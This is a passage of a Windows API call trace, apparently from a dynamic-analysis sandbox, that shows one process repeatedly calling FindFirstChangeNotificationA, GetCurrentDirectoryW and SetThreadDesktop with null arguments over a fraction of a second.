FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.270] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.270] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.271] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.271] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.271] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.271] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.271] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.271] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.271] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.271] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.271] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.271] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.271] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.271] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.271] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.271] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.272] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.272] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.272] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.272] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.272] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.272] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.272] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.272] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.272] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.272] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.272] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.272] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.272] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.272] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.272] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.273] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.273] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.273] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.273] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.273] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.273] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.273] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.273] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.273] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.273] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.273] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.273] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.274] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.274] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.274] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.274] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.274] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.274] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.274] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.274] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.274] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.274] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.274] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.274] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.274] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.274] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.274] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.274] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.274] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.274] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.275] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.275] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.275] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.275] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.275] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.275] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.275] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.275] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.275] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.275] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.275] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.275] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.275] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.275] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.275] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.276] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.276] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.276] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.276] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.276] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.276] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.276] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.276] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.276] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.276] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.276] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.276] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.276] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.276] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.276] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.276] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.276] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.276] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.276] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.277] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.277] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.277] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.277] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.277] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.277] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.277] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.277] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.277] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.277] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.277] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.277] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.277] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.277] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.277] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.277] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.441] SetThreadDesktop (hDesktop=0x0) 